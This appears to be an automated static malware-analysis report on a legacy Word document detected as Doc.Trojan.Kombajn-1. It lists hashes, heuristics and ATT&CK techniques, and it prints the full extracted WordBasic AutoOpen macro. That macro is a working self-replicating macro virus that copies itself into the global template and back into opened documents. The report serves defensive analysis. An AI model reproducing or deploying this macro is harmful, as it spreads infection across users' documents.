Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d193e7ba6fe80658…

MALICIOUS

Office (OLE)

27.5 KB Created: 2000-02-11 21:13:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 2c0a9acded9b3f2ec439fb471168c576 SHA-1: 0966a6dbdad4ae64548ca801e1d01d0ca2f7b7b7 SHA-256: d193e7ba6fe80658c0c279a07ae99d941e01ce0890eae305f0494ca41493860b
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The file contains a legacy WordBasic AutoOpen macro, identified by the OLE_LEGACY_WORDBASIC_AUTOEXEC heuristic. The script attempts to copy the AutoOpen macro to the global template, which is a common technique for establishing persistence. The ClamAV detection 'Doc.Trojan.Kombajn-1' further supports its malicious nature. While the exact payload is not evident, the macro's behavior suggests it's designed to ensure its execution.

Heuristics 4

  • ClamAV: Doc.Trojan.Kombajn-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Kombajn-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1261 bytes
SHA-256: 650b994f9346e4e22782717ba5d219560830f366749126424be0962c6a06e836
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"

Public Sub MAIN()
Attribute MAIN.VB_Description = "KOMBAJN"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.AutoOpen.MAIN"
Dim SrcPath$
SrcPath$ = WordBasic.[FileName$](0)
If WordBasic.[MacroFileName$]("AutoOpen") = SrcPath$ Then
    On Error GoTo -1: On Error GoTo magy
    WordBasic.MacroCopy SrcPath$ + ":AutoOpen", "Global:AutoOpen"
    GoTo oke
magy:
    On Error GoTo -1: On Error GoTo oke
    WordBasic.MacroCopy SrcPath$ + ":AutoOpen", "Globális:AutoOpen"
oke:
Else
    On Error GoTo -1: On Error GoTo magy2
    WordBasic.MacroCopy "Global:AutoOpen", SrcPath$ + ":AutoOpen"
    GoTo ok2
magy2:
    On Error GoTo -1: On Error GoTo ok2
    WordBasic.MacroCopy "Globális:AutoOpen", SrcPath$ + ":AutoOpen"
ok2:
On Error GoTo -1: On Error GoTo ki
WordBasic.FileSaveAs Name:=SrcPath$, Format:=1
End If
If WordBasic.Int(Rnd() * 10) < 4 Then
    WordBasic.MsgBox "Most nem bántalak! (KOMBAJN)"
End If
ki:
End Sub